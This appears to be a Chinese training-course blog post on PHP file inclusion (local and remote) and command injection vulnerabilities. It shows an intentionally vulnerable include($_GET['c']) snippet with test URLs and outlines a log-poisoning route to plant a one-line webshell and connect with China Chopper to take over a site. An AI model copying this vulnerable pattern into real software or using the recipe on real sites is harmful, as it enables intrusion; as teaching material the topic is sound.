cracer培训教程第一期 文件上传漏洞与命令注入漏洞

偏向php
文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器段执行,代码注入的典型代表就是文件包含file inclusion。文件包含可能出现在jsp、php、asp等语言中,常见的导致文件包含的函数如下
php:include(),include_once(),require(),require_once(),fopen,readfile()
JSP/Servlet:ava.io.file(),java.io.filereader(),…
ASP:include file,include virtual
本地文件包含
include(),include_once(),require(),require_once(),fopen,readfile()
当使用者4个函数包含一个新文件时,该文件将作为php代码执行,php内核并不在意该被包含的文件是什么类型

<?php $test=$_GET['c']; include($test); ?>

保存为include.php
在同一个目录下创建test.txt内容为

<?php phpinfo()?>

访问测试 //http://127.0.0.1/test/include.php?c=test.txt //访问连接,将123.txt 传送给c并赋给test变量
文件包含漏洞利用的条件

  1. include()等函数通过动态变量的方式引入需要包含的文件
  2. 用户能控制该动态变量
    远程文件包含
    如果php的配置选项allow_url_include为on,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(RFI)
    代码:
<?php $test=$_GET['c']; include($test); ?>

保存为include.php
http://127.0.0.1/test/include.php?c=http://mysql.sql.com/123.txt
本地文件包含漏洞利用技巧
1.包含用户上传的文件
2.包含data://或php://input等伪协议
3.包含Session文件
4.包含日志文件,比如Web Server的access log
包含日志(常用)
1.通过构造语句让服务器报错并将一句话随报错信息写入日志
2.找到日志文件
3.用菜刀连接
4.拿下网站

命令注入漏洞
Command Injection,即命令注入攻击,是指由于web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等.命令注入攻击最初被称为Shell命令注入攻击,是由挪威一名程序员在1997年意外发现的,他通过构造命令字符串的方式从一个网站删除网页,就像从硬盘中删除一个文件一样简单

php命令执行函数
在php中您可以使用下列5个函数来执行外部的应用程序或函数
1.system:执行一个外部的应用程序并显示输出的结果
2.exec:执行一个外部的应用程序
3.passthru:执行一个UNIX系统命令并显示原始的输出
4.shell_exec:执行shell命令并返回输出的结果的字符串
5.""运算符:与shell_exec函数的功能相同

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值